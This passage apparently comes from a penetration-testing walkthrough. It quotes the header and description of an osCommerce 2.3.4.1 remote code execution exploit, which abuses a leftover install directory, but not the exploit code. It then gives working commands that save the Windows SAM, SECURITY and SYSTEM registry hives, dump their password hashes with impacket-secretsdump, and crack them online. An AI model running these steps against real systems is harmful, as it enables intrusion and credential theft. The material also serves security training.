So the final exploit will look something like this :)
# Exploit Title: osCommerce 2.3.4.1 Remote Code Execution
# Date: 29.0.3.2018
# Exploit Author: Simon Scannell - https://scannell-infosec.net <contact@scannell-infosec.net>
# Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable
# Tested on: Linux, Windows
# If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it is possible
# for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not check if the page
# is already installed and does not attempt to do any authentication. It is possible for an attacker to directly
# execute the "install_4.php" script, which will create the config file for the installation. It is possible to inject
# PHP code into the config file and then simply executing the code by opening it.

Additional Method
To be able to dump the hashes we need 3 hives SAM, SECURITY and SYSTEM
reg.exe save hklm\sam C:\Windows\Temp\sam
reg.exe save hklm\security C:\Windows\Temp\security
reg.exe save hklm\system C:\Windows\Temp\systemSomehow download it onto our local machine and now we can start cracking them :)
$ impacket-secretsdump -sam sam -security security -system system LOCALWe can now crack it via websites like Crackstation !
